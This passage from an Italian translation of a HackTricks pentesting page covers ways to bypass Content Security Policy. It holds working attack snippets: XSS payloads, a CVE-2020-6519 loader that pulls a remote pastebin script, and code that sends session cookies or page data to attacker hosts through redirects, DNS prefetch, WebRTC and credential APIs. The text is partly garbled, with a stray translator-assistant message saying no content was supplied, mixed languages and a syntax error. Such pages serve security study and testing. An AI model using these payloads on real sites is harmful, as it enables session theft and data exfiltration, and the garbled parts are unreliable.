'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il **JS content** che vuoi exfiltrate con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia permesso dalla CSP, questo farà **scattare un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
Per un esempio [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking Information with CSP and Iframe
- Viene creato un `iframe` che punta a un URL (chiamiamolo `https://example.redirect.com`) che è consentito da CSP.
- Questo URL poi reindirizza a un URL segreto (es., `https://usersecret.example2.com`) che è **non consentito** da CSP.
- Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, leaking il dominio segreto a cui l'URL iniziale è stato reindirizzato.
È interessante notare che browser come Chrome e Firefox hanno comportamenti differenti nel gestire gli iframe rispetto a CSP, il che può portare a potenziale leakage di informazioni sensibili a causa di comportamenti non definiti.
Un'altra tecnica consiste nello sfruttare la stessa CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'adattamento della direttiva CSP per includere domini specifici che vengono deliberatamente bloccati. Per esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o permettere questi sottodomini. Di seguito uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Monitorando quali richieste vengono bloccate o permesse dalla CSP, si possono restringere i possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
Entrambi i metodi sfruttano le sfumature dell'implementazione della CSP e del comportamento dei browser, dimostrando come politiche apparentemente sicure possano, involontariamente, causare un leak di informazioni sensibili.
Trucco da [**here**](https://ctftime.org/writeup/29310).
## Tecnologie insicure per bypassare la CSP
### Errori PHP quando troppi parametri
Secondo la [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 parametri GET anche se si può farlo anche con parametri POST e più di 20 file). Qualsiasi definito **`header()`** nel codice web PHP **non verrà inviato** a causa dell'errore che ciò genererà.
### Sovraccarico del buffer di risposta PHP
PHP è noto per **memorizzare in buffer la risposta fino a 4096 byte** per impostazione predefinita. Quindi, se PHP mostra un warning, fornendo **sufficienti dati all'interno dei warning**, la **risposta** sarà **inviata** **prima** dell'**CSP header**, causando che l'header venga ignorato.\
La tecnica consiste fondamentalmente nel **riempire il buffer di risposta con warning** in modo che l'header CSP non venga inviato.
### Disabilitare la CSP via max_input_vars (headers already sent)
Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a `header()`. Se l'input utente supera `max_input_vars`, PHP lancia prima un warning di startup; qualsiasi successivo `header('Content-Security-Policy: ...')` fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccate.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Non hai fornito il contenuto da tradurre. Incolla qui il testo di src/pentesting-web/content-security-policy-csp-bypass/README.md e lo tradurrò in italiano mantenendo la stessa sintassi Markdown/HTML e le regole che hai specificato.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Riscrittura della pagina di errore
Da [**this writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
```
### SOME + 'self' + wordpress
SOME è una tecnica che sfrutta una XSS (o una XSS molto limitata) **in an endpoint of a page** per **abuse** **other endpoints of the same origin.** Questo si ottiene caricando l'endpoint vulnerabile da una pagina controllata dall'attaccante e poi ricaricando la pagina dell'attaccante verso l'endpoint reale nella stessa origine che si vuole sfruttare. In questo modo l'**vulnerable endpoint** può usare l'oggetto **`opener`** nel **payload** per **access the DOM** dell'**real endpoint to abuse**. Per maggiori informazioni consulta:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (con la limitazione di solo lettere, numeri e punti).
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypass di esfiltrazione CSP
Se c'è una CSP rigorosa che non ti permette di **interact with external servers**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.
### Location
Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Puoi effettuare un redirect iniettando un meta tag (questo è solo un redirect, questo non farà leak del contenuto)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\
Puoi indicare a un browser di risolvere preventivamente un hostname con: `<link rel="dns-prefetch" href="something.com">`
Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
```
Un altro modo:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Per evitare che ciò accada, il server può inviare l'HTTP header:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Apparentemente, questa tecnica non funziona nei headless browsers (bots)
### WebRTC
Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP.
In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Un'altra opzione:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Verifica delle policy CSP online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Creazione automatica di CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Riferimenti
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}